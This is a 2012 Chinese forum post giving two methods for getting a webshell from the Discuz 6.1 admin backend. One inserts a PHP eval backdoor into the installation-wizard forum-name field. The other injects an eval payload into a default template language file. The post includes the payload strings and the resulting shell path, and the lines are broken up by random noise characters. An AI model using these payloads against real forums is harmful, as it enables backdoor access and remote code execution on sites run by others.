discuz6.1两种方法后台拿shell
' G' s8 k5 i5 o好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下9 R9 G0 i& j; T7 N
1:
) e6 e. E% f% J3 thttp://127.0.0.1/discuz/admincp. ... zard&frames=yes: Z3 i+ W+ V! _' N8 C& K
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell7 [+ O, `" g$ u* O/ I' z( ] H
<?php eval($_POST[cmd]);?>2 m/ B9 _! ^6 p; \' V+ O, q( S
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
0 N G* }" R3 W, l8 s6 g" V& V) o0 e+ X9 s3 f
; F, T' }8 k! f1 t- o/ i
2:后台模板管理--默认模板套系--详情- `, | }' Q! u6 l& D9 o0 D1 r8 j3 N
templates/default/actions.lang.php1 g. `. p2 `7 K$ l3 P u
jhackj\\');eval($_POST[cmd])?>;//2 d7 G; K# v' \( O- n
! U! q$ i* Y: X9 u% f+ p+ P) y5 x0 {
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对